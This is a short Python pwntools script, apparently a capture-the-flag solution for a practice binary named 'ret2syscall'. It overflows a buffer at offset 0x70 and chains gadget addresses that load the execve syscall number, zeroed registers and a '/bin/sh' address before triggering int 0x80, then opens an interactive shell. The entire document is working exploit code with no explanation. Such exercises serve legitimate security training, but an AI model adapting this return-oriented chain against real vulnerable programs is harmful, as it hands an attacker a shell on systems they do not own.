#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = process('./ret2syscall')
offset = 0x70
pop_eax_ret = 0x080bb196
pop_edx_exc_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080BE408

payload = flat([
    b'a' * offset, pop_eax_ret,
    0xb,
    pop_edx_exc_ebx_ret,
    0,
    0,
    bin_sh,
    int_80h
])

io.sendline(payload)
io.interactive()
